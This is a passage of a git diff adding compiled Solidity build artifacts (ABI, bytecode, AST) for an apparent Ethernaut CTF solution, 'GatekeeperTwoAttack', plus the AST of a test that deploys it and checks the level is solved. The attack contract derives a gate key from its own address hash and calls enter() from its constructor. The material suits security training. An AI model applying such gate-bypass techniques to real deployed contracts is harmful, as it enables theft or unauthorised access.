external"}},"id":61751,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1860:24:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61752,"nodeType":"ExpressionStatement","src":"1860:24:134"},{"assignments":[61755],"declarations":[{"constant":false,"id":61755,"mutability":"mutable","name":"attacker","nameLocation":"1914:8:134","nodeType":"VariableDeclaration","scope":61781,"src":"1894:28:134","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"},"typeName":{"id":61754,"nodeType":"UserDefinedTypeName","pathNode":{"id":61753,"name":"GatekeeperTwoAttack","nameLocations":["1894:19:134"],"nodeType":"IdentifierPath","referencedDeclaration":49527,"src":"1894:19:134"},"referencedDeclaration":49527,"src":"1894:19:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}},"visibility":"internal"}],"id":61764,"initialValue":{"arguments":[{"arguments":[{"id":61761,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61615,"src":"1957:8:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}],"id":61760,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1949:7:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61759,"name":"address","nodeType":"ElementaryTypeName","src":"1949:7:134","typeDescriptions":{}}},"id":61762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1949:17:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":61758,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1925:23:134","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$returns$_t_contract$_GatekeeperTwoAttack_$49527_$","typeString":"function (address) returns (contract GatekeeperTwoAttack)"},"typeName":{"id":61757,"nodeType":"UserDefinedTypeName","pathNode":{"id":61756,"name":"GatekeeperTwoAttack","nameLocations":["1929:19:134"],"nodeType":"IdentifierPath","referencedDeclaration":49527,"src":"1929:19:134"},"referencedDeclaration":49527,"src":"1929:19:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}}},"id":61763,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1925:42:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}},"nodeType":"VariableDeclarationStatement","src":"1894:73:134"},{"expression":{"arguments":[{"id":61768,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61619,"src":"1992:6:134","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":61765,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1978:2:134","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":61767,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1981:10:134","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1978:13:134","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":61769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1978:21:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61770,"nodeType":"ExpressionStatement","src":"1978:21:134"},{"expression":{"arguments":[{"arguments":[{"id":61773,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61612,"src":"2040:9:134","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":61776,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":61615,"src":"2059:8:134","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwo_$53011","typeString":"contract GatekeeperTwo"}],"id":61775,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2051:7:134","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":61774,"name":"address","nodeType":"ElementaryTypeName","src":"2051:7:134","typeDescriptions":{}}},"id":61777,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2051:17:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":61772,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2020:19:134","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":61778,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2020:49:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":61771,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2009:10:134","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":61779,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2009:61:134","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":61780,"nodeType":"ExpressionStatement","src":"2009:61:134"}]},"documentation":{"id":61743,"nodeType":"StructuredDocumentation","src":"1773:44:134","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1831:9:134","parameters":{"id":61744,"nodeType":"ParameterList","parameters":[],"src":"1840:2:134"},"returnParameters":{"id":61745,"nodeType":"ParameterList","parameters":[],"src":"1850:0:134"},"scope":61783,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":61606,"name":"Test","nameLocations":["463:4:134"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"463:4:134"},"id":61607,"nodeType":"InheritanceSpecifier","src":"463:4:134"},{"baseName":{"id":61608,"name":"Utils","nameLocations":["469:5:134"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"469:5:134"},"id":61609,"nodeType":"InheritanceSpecifier","src":"469:5:134"}],"canonicalName":"TestGatekeeperTwo","contractDependencies":[49101,49527,53066,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[61783,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestGatekeeperTwo","nameLocation":"442:17:134","scope":61784,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":134} \ No newline at end of file diff --git a/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoAttack.json b/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoAttack.json new file mode 100644 index 000000000..494af5465 --- /dev/null +++ b/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"GatekeeperTwoContractAddress","type":"address","internalType":"address"}],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506040516101a43803806101a483398101604081905261002e9161010e565b5f80546001600160a01b0319166001600160a01b0383161781556040516001600160601b03193060601b1660208201526001600160401b039060340160408051601f198184030181529082905280516020909101205f546319b8102760e11b835260c091821c93909318901b6001600160c01b03198116600483015292506001600160a01b0390911690633370204e9061c350906024016020604051808303815f8887f11580156100e1573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610106919061013b565b50505061015a565b5f6020828403121561011e575f80fd5b81516001600160a01b0381168114610134575f80fd5b9392505050565b5f6020828403121561014b575f80fd5b81518015158114610134575f80fd5b603e806101665f395ff3fe60806040525f80fdfea26469706673582212201df4407470d4ed73e787d652557fe6af5213ba862dad05ebd7209d0a1e03a20064736f6c63430008180033","sourceMap":"157:360:47:-:0;;;232:283;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;292:10;:65;;-1:-1:-1;;;;;;292:65:47;-1:-1:-1;;;;;292:65:47;;;;;411:31;;-1:-1:-1;;;;;;436:4:47;483:2:155;454:15;450:45;411:31:47;;;438:58:155;-1:-1:-1;;;;;448:16:47;512:12:155;;411:31:47;;;-1:-1:-1;;411:31:47;;;;;;;;;;401:42;;411:31;401:42;;;;475:10;;-1:-1:-1;;;475:33:47;;387:58;;;;:77;;;;380:85;;-1:-1:-1;;;;;;697:37:155;;475:33:47;;;679:56:155;380:85:47;-1:-1:-1;;;;;;475:10:47;;;;:16;;497:5;;652:18:155;;475:33:47;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;282:233;232:283;157:360;;14:290:155;84:6;137:2;125:9;116:7;112:23;108:32;105:52;;;153:1;150;143:12;105:52;179:16;;-1:-1:-1;;;;;224:31:155;;214:42;;204:70;;270:1;267;260:12;204:70;293:5;14:290;-1:-1:-1;;;14:290:155:o;746:277::-;813:6;866:2;854:9;845:7;841:23;837:32;834:52;;;882:1;879;872:12;834:52;914:9;908:16;967:5;960:13;953:21;946:5;943:32;933:60;;989:1;986;979:12;746:277;157:360:47;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x60806040525f80fdfea26469706673582212201df4407470d4ed73e787d652557fe6af5213ba862dad05ebd7209d0a1e03a20064736f6c63430008180033","sourceMap":"157:360:47:-:0;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"GatekeeperTwoContractAddress\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/GatekeeperTwoAttack.sol\":\"GatekeeperTwoAttack\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/GatekeeperTwoAttack.sol\":{\"keccak256\":\"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e\",\"dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"GatekeeperTwoContractAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/GatekeeperTwoAttack.sol":"GatekeeperTwoAttack"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/GatekeeperTwoAttack.sol":{"keccak256":"0x2dc68eec246c0569993ce227bc6f5280bfa0a130c07d2543b058cb69dfe199d4","urls":["bzz-raw://c5dcef793c7f8d8017b966e2052c25eaa06deb7c8c83f1f6943ef5442b4d915e","dweb:/ipfs/QmehnoQbe2VZVYuJo6pmHtuo8oMmTJnV4XHpZ1sxx3Q112"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/attacks/GatekeeperTwoAttack.sol","id":49528,"exportedSymbols":{"GatekeeperTwoAttack":[49527],"GatekeeperTwoInterface":[49476]},"nodeType":"SourceUnit","src":"33:485:47","nodes":[{"id":49468,"nodeType":"PragmaDirective","src":"33:23:47","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49476,"nodeType":"ContractDefinition","src":"58:97:47","nodes":[{"id":49475,"nodeType":"FunctionDefinition","src":"97:56:47","nodes":[],"functionSelector":"3370204e","implemented":false,"kind":"function","modifiers":[],"name":"enter","nameLocation":"106:5:47","parameters":{"id":49471,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49470,"mutability":"mutable","name":"_gateKey","nameLocation":"119:8:47","nodeType":"VariableDeclaration","scope":49475,"src":"112:15:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":49469,"name":"bytes8","nodeType":"ElementaryTypeName","src":"112:6:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"src":"111:17:47"},"returnParameters":{"id":49474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49473,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49475,"src":"147:4:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49472,"name":"bool","nodeType":"ElementaryTypeName","src":"147:4:47","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"146:6:47"},"scope":49476,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperTwoInterface","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[49476],"name":"GatekeeperTwoInterface","nameLocation":"68:22:47","scope":49528,"usedErrors":[],"usedEvents":[]},{"id":49527,"nodeType":"ContractDefinition","src":"157:360:47","nodes":[{"id":49479,"nodeType":"VariableDeclaration","src":"192:33:47","nodes":[],"constant":false,"mutability":"mutable","name":"gatekeeper","nameLocation":"215:10:47","scope":49527,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"},"typeName":{"id":49478,"nodeType":"UserDefinedTypeName","pathNode":{"id":49477,"name":"GatekeeperTwoInterface","nameLocations":["192:22:47"],"nodeType":"IdentifierPath","referencedDeclaration":49476,"src":"192:22:47"},"referencedDeclaration":49476,"src":"192:22:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"visibility":"internal"},{"id":49526,"nodeType":"FunctionDefinition","src":"232:283:47","nodes":[],"body":{"id":49525,"nodeType":"Block","src":"282:233:47","nodes":[],"statements":[{"expression":{"id":49488,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":49484,"name":"gatekeeper","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49479,"src":"292:10:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":49486,"name":"GatekeeperTwoContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49481,"src":"328:28:47","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":49485,"name":"GatekeeperTwoInterface","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49476,"src":"305:22:47","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_GatekeeperTwoInterface_$49476_$","typeString":"type(contract GatekeeperTwoInterface)"}},"id":49487,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"305:52:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"src":"292:65:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"id":49489,"nodeType":"ExpressionStatement","src":"292:65:47"},{"assignments":[49491],"declarations":[{"constant":false,"id":49491,"mutability":"mutable","name":"key","nameLocation":"374:3:47","nodeType":"VariableDeclaration","scope":49525,"src":"367:10:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"},"typeName":{"id":49490,"name":"bytes8","nodeType":"ElementaryTypeName","src":"367:6:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"visibility":"internal"}],"id":49516,"initialValue":{"arguments":[{"commonType":{"typeIdentifier":"t_uint64","typeString":"uint64"},"id":49514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":49503,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"436:4:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_GatekeeperTwoAttack_$49527","typeString":"contract GatekeeperTwoAttack"}],"id":49502,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"428:7:47","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":49501,"name":"address","nodeType":"ElementaryTypeName","src":"428:7:47","typeDescriptions":{}}},"id":49504,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"428:13:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":49499,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"411:3:47","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":49500,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"415:12:47","memberName":"encodePacked","nodeType":"MemberAccess","src":"411:16:47","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":49505,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"411:31:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":49498,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"401:9:47","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":49506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"401:42:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":49497,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"394:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":49496,"name":"bytes8","nodeType":"ElementaryTypeName","src":"394:6:47","typeDescriptions":{}}},"id":49507,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"394:50:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"id":49495,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"387:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":49494,"name":"uint64","nodeType":"ElementaryTypeName","src":"387:6:47","typeDescriptions":{}}},"id":49508,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"387:58:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"nodeType":"BinaryOperation","operator":"^","rightExpression":{"expression":{"arguments":[{"id":49511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"453:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"},"typeName":{"id":49510,"name":"uint64","nodeType":"ElementaryTypeName","src":"453:6:47","typeDescriptions":{}}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_type$_t_uint64_$","typeString":"type(uint64)"}],"id":49509,"name":"type","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-27,"src":"448:4:47","typeDescriptions":{"typeIdentifier":"t_function_metatype_pure$__$returns$__$","typeString":"function () pure"}},"id":49512,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"448:12:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_magic_meta_type_t_uint64","typeString":"type(uint64)"}},"id":49513,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"461:3:47","memberName":"max","nodeType":"MemberAccess","src":"448:16:47","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"src":"387:77:47","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint64","typeString":"uint64"}],"id":49493,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"380:6:47","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes8_$","typeString":"type(bytes8)"},"typeName":{"id":49492,"name":"bytes8","nodeType":"ElementaryTypeName","src":"380:6:47","typeDescriptions":{}}},"id":49515,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"380:85:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}},"nodeType":"VariableDeclarationStatement","src":"367:98:47"},{"expression":{"arguments":[{"id":49522,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49491,"src":"504:3:47","typeDescriptions":{"typeIdentifier":"t_bytes8","typeString":"bytes8"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes8","typeString":"bytes8"}],"expression":{"id":49517,"name":"gatekeeper","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49479,"src":"475:10:47","typeDescriptions":{"typeIdentifier":"t_contract$_GatekeeperTwoInterface_$49476","typeString":"contract GatekeeperTwoInterface"}},"id":49519,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"486:5:47","memberName":"enter","nodeType":"MemberAccess","referencedDeclaration":49475,"src":"475:16:47","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes8_$returns$_t_bool_$","typeString":"function (bytes8) external returns (bool)"}},"id":49521,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["gas"],"nodeType":"FunctionCallOptions","options":[{"hexValue":"3530303030","id":49520,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"497:5:47","typeDescriptions":{"typeIdentifier":"t_rational_50000_by_1","typeString":"int_const 50000"},"value":"50000"}],"src":"475:28:47","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes8_$returns$_t_bool_$gas","typeString":"function (bytes8) external returns (bool)"}},"id":49523,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"475:33:47","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":49524,"nodeType":"ExpressionStatement","src":"475:33:47"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49482,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49481,"mutability":"mutable","name":"GatekeeperTwoContractAddress","nameLocation":"252:28:47","nodeType":"VariableDeclaration","scope":49526,"src":"244:36:47","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49480,"name":"address","nodeType":"ElementaryTypeName","src":"244:7:47","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"243:38:47"},"returnParameters":{"id":49483,"nodeType":"ParameterList","parameters":[],"src":"282:0:47"},"scope":49527,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[],"canonicalName":"GatekeeperTwoAttack","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49527],"name":"GatekeeperTwoAttack","nameLocation":"166:19:47","scope":49528,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":47} \ No newline at end of file diff --git a/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoInterface.json b/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoInterface.json new file mode 100644 index 000000000..b07c9f48e --- /dev/null +++ b/contracts/out/GatekeeperTwoAttack.sol/GatekeeperTwoInterface.json @@ -0,0 +1 @@ 